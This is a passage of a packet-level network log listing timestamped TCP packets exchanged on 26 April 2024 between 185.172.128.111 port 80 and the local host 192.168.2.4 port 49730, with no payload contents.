Apr 26, 2024 09:41:12.105202913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.105252028 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.105341911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.105396032 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.105511904 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.105560064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.106024027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.106070995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.106087923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.106132984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.106156111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.106199026 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.106215954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.106247902 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.106259108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.106293917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.106385946 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.106431961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.106456041 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.106472969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.106498003 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.106525898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.106617928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.106673002 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.106766939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.106820107 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.106918097 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.106961966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.106976032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.107028008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.107059956 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.107110977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.107264042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.107311964 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.107331991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.107383966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.107611895 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.107662916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.107872963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.107923985 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.107956886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.108000994 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.108033895 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.108088017 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.108131886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.108150005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.108191013 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.108191013 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.108211994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.108254910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.108268023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.108309984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.108318090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.108355045 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.108386993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.108438969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.108448982 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.108479977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.108489990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.108522892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.108534098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.108561993 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.108596087 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.108644009 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.108661890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.108710051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.108769894 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.108820915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.109004974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.109055996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.109071970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.109117985 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.109138966 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.109183073 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.109195948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.109225988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.109321117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.109371901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.109391928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.109441996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.109457970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.109504938 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.109522104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.109539986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.109568119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.109580994 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.109617949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.109673977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.109690905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.109709024 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.109755993 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.109788895 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.109833956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.109864950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.109910965 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.109944105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.109987020 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.110043049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.110091925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.110122919 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.110161066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.110178947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.110228062 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.110249996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.110286951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.110312939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.110354900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.110466957 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.110516071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.110539913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.110585928 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.110709906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.110759974 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.110800982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.110857010 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.110873938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.110908031 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.110919952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.110970974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.111007929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.111027002 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.111110926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.111159086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.111287117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.111340046 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.111428976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.111479044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.111495972 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.111530066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.111541986 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.111573935 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.111581087 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.111618996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.111730099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.111788034 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.111803055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.111840963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.111850023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.111879110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.112039089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.112087965 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.112147093 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.112194061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.112212896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.112253904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.112298012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.112317085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.112346888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.112359047 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.112533092 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.112577915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.112593889 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.112626076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.112637043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.112675905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.112693071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.112725019 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.112735987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.112757921 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.112823009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.112868071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.112901926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.112943888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.112963915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.113002062 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.113058090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.113102913 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.113121033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.113158941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.113177061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.113220930 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.113238096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.113286972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.114034891 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.114084959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.114193916 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.114245892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.114264011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.114315987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.114367008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.114422083 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.114438057 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.114483118 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.114530087 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.114548922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.114573956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.114590883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.114708900 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.114756107 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.114811897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.114856958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.114875078 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.114918947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.114936113 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.114979029 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.114996910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.115042925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.115061045 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.115098953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.115114927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.115150928 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.115173101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.115217924 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.115236044 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.115278006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.115335941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.115382910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.115461111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.115506887 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.122684002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.122735023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.122755051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.122796059 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.122812033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.122853041 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.122931004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.122976065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.122992039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.123034954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.131587982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.131632090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.131661892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.131674051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.131849051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.131897926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.131916046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.131958008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.132072926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.132124901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.132391930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.132438898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.132529020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.132544994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.132572889 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.132585049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.147165060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.147200108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.147229910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.147248983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.147269011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.147285938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.147310019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.147334099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.155435085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.155478954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.155512094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.155531883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.155551910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.155592918 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.155610085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.155642986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.155654907 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.155687094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.155695915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.155735016 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.155762911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.155778885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.155807972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.155819893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.156056881 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.156075001 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.156124115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.156124115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.156402111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.156450033 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.156466007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.156511068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.156573057 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.156615019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.156636000 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.156675100 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.156693935 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.156709909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.156734943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.156747103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.156944990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.156994104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.157155037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.157203913 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.157221079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.157248974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.157258987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.157286882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.157335043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.157378912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.157390118 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.157428980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.157469988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.157485008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.157514095 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.157525063 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.157615900 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.157661915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.157680035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.157725096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.157799959 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.157831907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.157845020 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.157869101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.157898903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.157942057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.157962084 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.158000946 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.158057928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.158096075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.158107996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.158137083 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.158181906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.158227921 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.158245087 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.158286095 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.158303976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.158319950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.158354998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.158693075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.158739090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.158786058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.158832073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.158865929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.158881903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.158906937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.158920050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.159029007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.159073114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.159087896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.159120083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.159131050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.159143925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.159157991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.159179926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.159277916 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.159296036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.159324884 CEST	49730	80	192.168.2.4	185.172.128.111
